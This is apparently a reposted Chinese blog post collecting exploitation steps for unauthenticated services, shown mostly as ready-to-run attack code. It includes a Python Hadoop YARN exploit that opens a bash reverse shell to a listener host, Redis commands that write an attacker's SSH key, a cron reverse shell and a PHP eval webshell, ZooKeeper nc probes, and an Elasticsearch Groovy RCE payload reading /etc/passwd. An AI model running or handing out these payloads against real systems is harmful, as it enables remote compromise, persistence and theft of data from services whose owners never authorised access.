• 未授权访问漏洞汇集


    NFS服务,Samba服务,LDAP,Rsync,FTP,GitLab,Jenkins,MongoDB,Redis,ZooKeeper,ElasticSearch,Memcache,CouchDB,Docker,Solr,Hadoop,Dubbo等

    0x00 Hadoop未授权访问漏洞

    Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,通过YARN来管理资源。简单的说,用户可以向YARN提交特定应用程序进行执行,其中就允许执行相关包含系统命令。

    yarn默认开发8088和8089端口。

    检测漏洞存在方式:

    curl -X POST 172.16.20.134:8088/ws/v1/cluster/apps/new-application
    

    证明漏洞存在.png

    exp

    import requests
    target = 'http://172.16.20.134:8088/'
    lhost = '172.16.20.108'  # put your local host ip here, and listen at port 9999
     
    url = target + 'ws/v1/cluster/apps/new-application'
    resp = requests.post(url)
    print(resp.text)
    app_id = resp.json()['application-id']
    url = target + 'ws/v1/cluster/apps'
    data = {
        'application-id': app_id,
        'application-name': 'get-shell',
        'am-container-spec': {
            'commands': {
                'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
            },
        },
        'application-type': 'YARN',
    }
    print (data)
    requests.post(url, json=data)
    

    参考

    0x01 zoopker

    ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、分布式同步、组服务等。

    ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。

    执行以下命令即可远程获取该服务器的环境:

    echo envi|nc 192.168.15.74 2181
    echo stat|nc 192.168.15.74 2181
    

    image.png

    image.png

    图形化客户端工具

    Zookeeper本身数据是以树型结构存储组织的,可使用界面操作工具ZooInspector。
    ZooInspector下载地址:
    https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip
    解压,进入目录ZooInspectoruild,
    运行或mac下双击zookeeper-dev-ZooInspector.jar:
    java -jar zookeeper-dev-ZooInspector.jar //执行成功后,会弹出java ui client
    点击左上角连接按钮,输入Zookeeper服务地址:ip:2181
    点击OK,就可以查看Zookeeper节点信息了。

    image.png

    0x02 redis未授权

    写入ssh公钥

    需要redis是以root权限运行的。
    攻击者将自己的公钥追加写入redis服务器的 /root/.ssh 文件夹下的authotrized_keys文件中,攻击者即可直接登录该服务器。

    ssh-keygen -t rsa  生成ssh公钥和私钥
    (echo -e "
    
    "; cat id_rsa.pub; echo -e "
    
    ") > key.txt  将公钥保存成key.txt
    cat /root/.ssh/key.txt | redis-cli -h 192.168.80.44 -x set xxx  写入redis
    redis-cli -h 192.168.80.44  连接redis
    config set dir /root/.ssh  设置写文件的目录
    config set dbfilename authorized_keys  设置写入的文件名
    save
    

    ssh命令连接
    ssh root@192.168.80.44

    写入ssh公钥.png

    写入cron定时任务

    需要redis root权限运行

    redis-cli -h 192.168.80.44
    set xxx "
    
    */1 * * * * /bin/bash -i>&/dev/tcp/192.168.40.155/4444 0>&1
    
    "
    config set dir /var/spool/cron  设置写文件的目录
    config set dbfilename root  设置写入的文件名
    save
    

    可以写入cron任务的路径

    /etc/crontab
    /etc/cron.d/
    /var/spool/cron/root为centos系统root用户的cron文件
    /var/spool/cron/crontabs/root为debian系统root用户的cron文件
    

    写入webshell

    需要知道网站路径

    redis-cli -h 192.168.80.44
    config set dir /var/www/html
    set xxx "
    
    
    <?php@eval($_POST['c']);?>
    
    
    "
    config set dbfilename webshell.php
    save
    

    0x03 elasticsearch未授权访问

    image.png

    一般来说默认开放了9200端口,可利用的路径节点包括如下几个:

    http://127.0.0.1:9200/_cat/indices/
    http://127.0.0.1:9200/_plugin/head/
    http://127.0.0.1:9200/_nodes
    http://127.0.0.1:9200/_nodes?prettify
    http://127.0.0.1::9200/_status
    http://127.0.0.1::9200/_search?pretty
    http://127.0.0.1:9200/zjftu/
    http://127.0.0.1::9200/zjftu/_search?pretty
    

    ElasticSearch Groovy RCE (CVE-2015-1427)

    影响范围
    The Groovy scripting engine in Elasticsearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script.

    对一下链接进行一个POST
    http://127.0.0.1:9200/_search?pretty

    {"size":1,"script_fields": {"iswin": {"script":"java.lang.Math.class.forName("java.io.BufferedReader").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName("java.io.InputStreamReader").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("cat /etc/passwd").getInputStream())).readLines()","lang": "groovy"}}}
    
  • 相关阅读:
    Gengxin讲STL系列——Set
    理解Python的With语句
    Python中Non-ASCII character 'xe7' in file的问题解决
    gnome-terminal的一些调整
    硬盘的CHS寻址
    Wiz发布cnblog笔记
    cygwin安装man手册
    linux命令行使用
    小步前进
    学习的感觉真好
  • 原文地址:https://www.cnblogs.com/ffx1/p/12653567.html
Copyright © 2020-2023  润新知